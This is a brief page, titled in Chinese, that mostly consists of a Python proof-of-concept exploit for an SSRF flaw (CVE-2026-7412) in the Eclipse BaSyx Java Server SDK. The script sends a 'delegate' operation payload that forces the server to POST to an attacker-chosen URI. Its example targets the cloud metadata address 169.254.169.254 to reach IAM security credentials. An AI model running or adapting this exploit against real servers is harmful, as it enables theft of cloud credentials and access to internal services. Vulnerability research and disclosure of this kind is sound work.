CVE-2026-7412 Eclipse BaSyx SSRF漏洞

import requests # CVE-2026-7412 PoC Generator # Target: Eclipse BaSyx Java Server SDK < 2.0.0-milestone-10 # Description: Exploits the Operation Delegation feature to force a blind HTTP POST to an arbitrary URI. def exploit_ssrf(target_url, malicious_uri): """ Sends a malicious request to the vulnerable BaSyx server to force a POST request to the malicious_uri. """ # Example payload structure based on Operation Delegation payload = { "operation": "delegate", "destination": malicious_uri, "method": "POST" } try: print(f"[*] Sending SSRF payload to {target_url}") print(f"[*] Forcing server to POST to: {malicious_uri}") response = requests.post(target_url, json=payload, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if the internal server received the request.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Example: Attacker tries to hit the AWS IMDSv1 (if not protected) or an internal admin panel target = "http://vulnerable-basyx-server:8080/api/operation" internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, internal_target)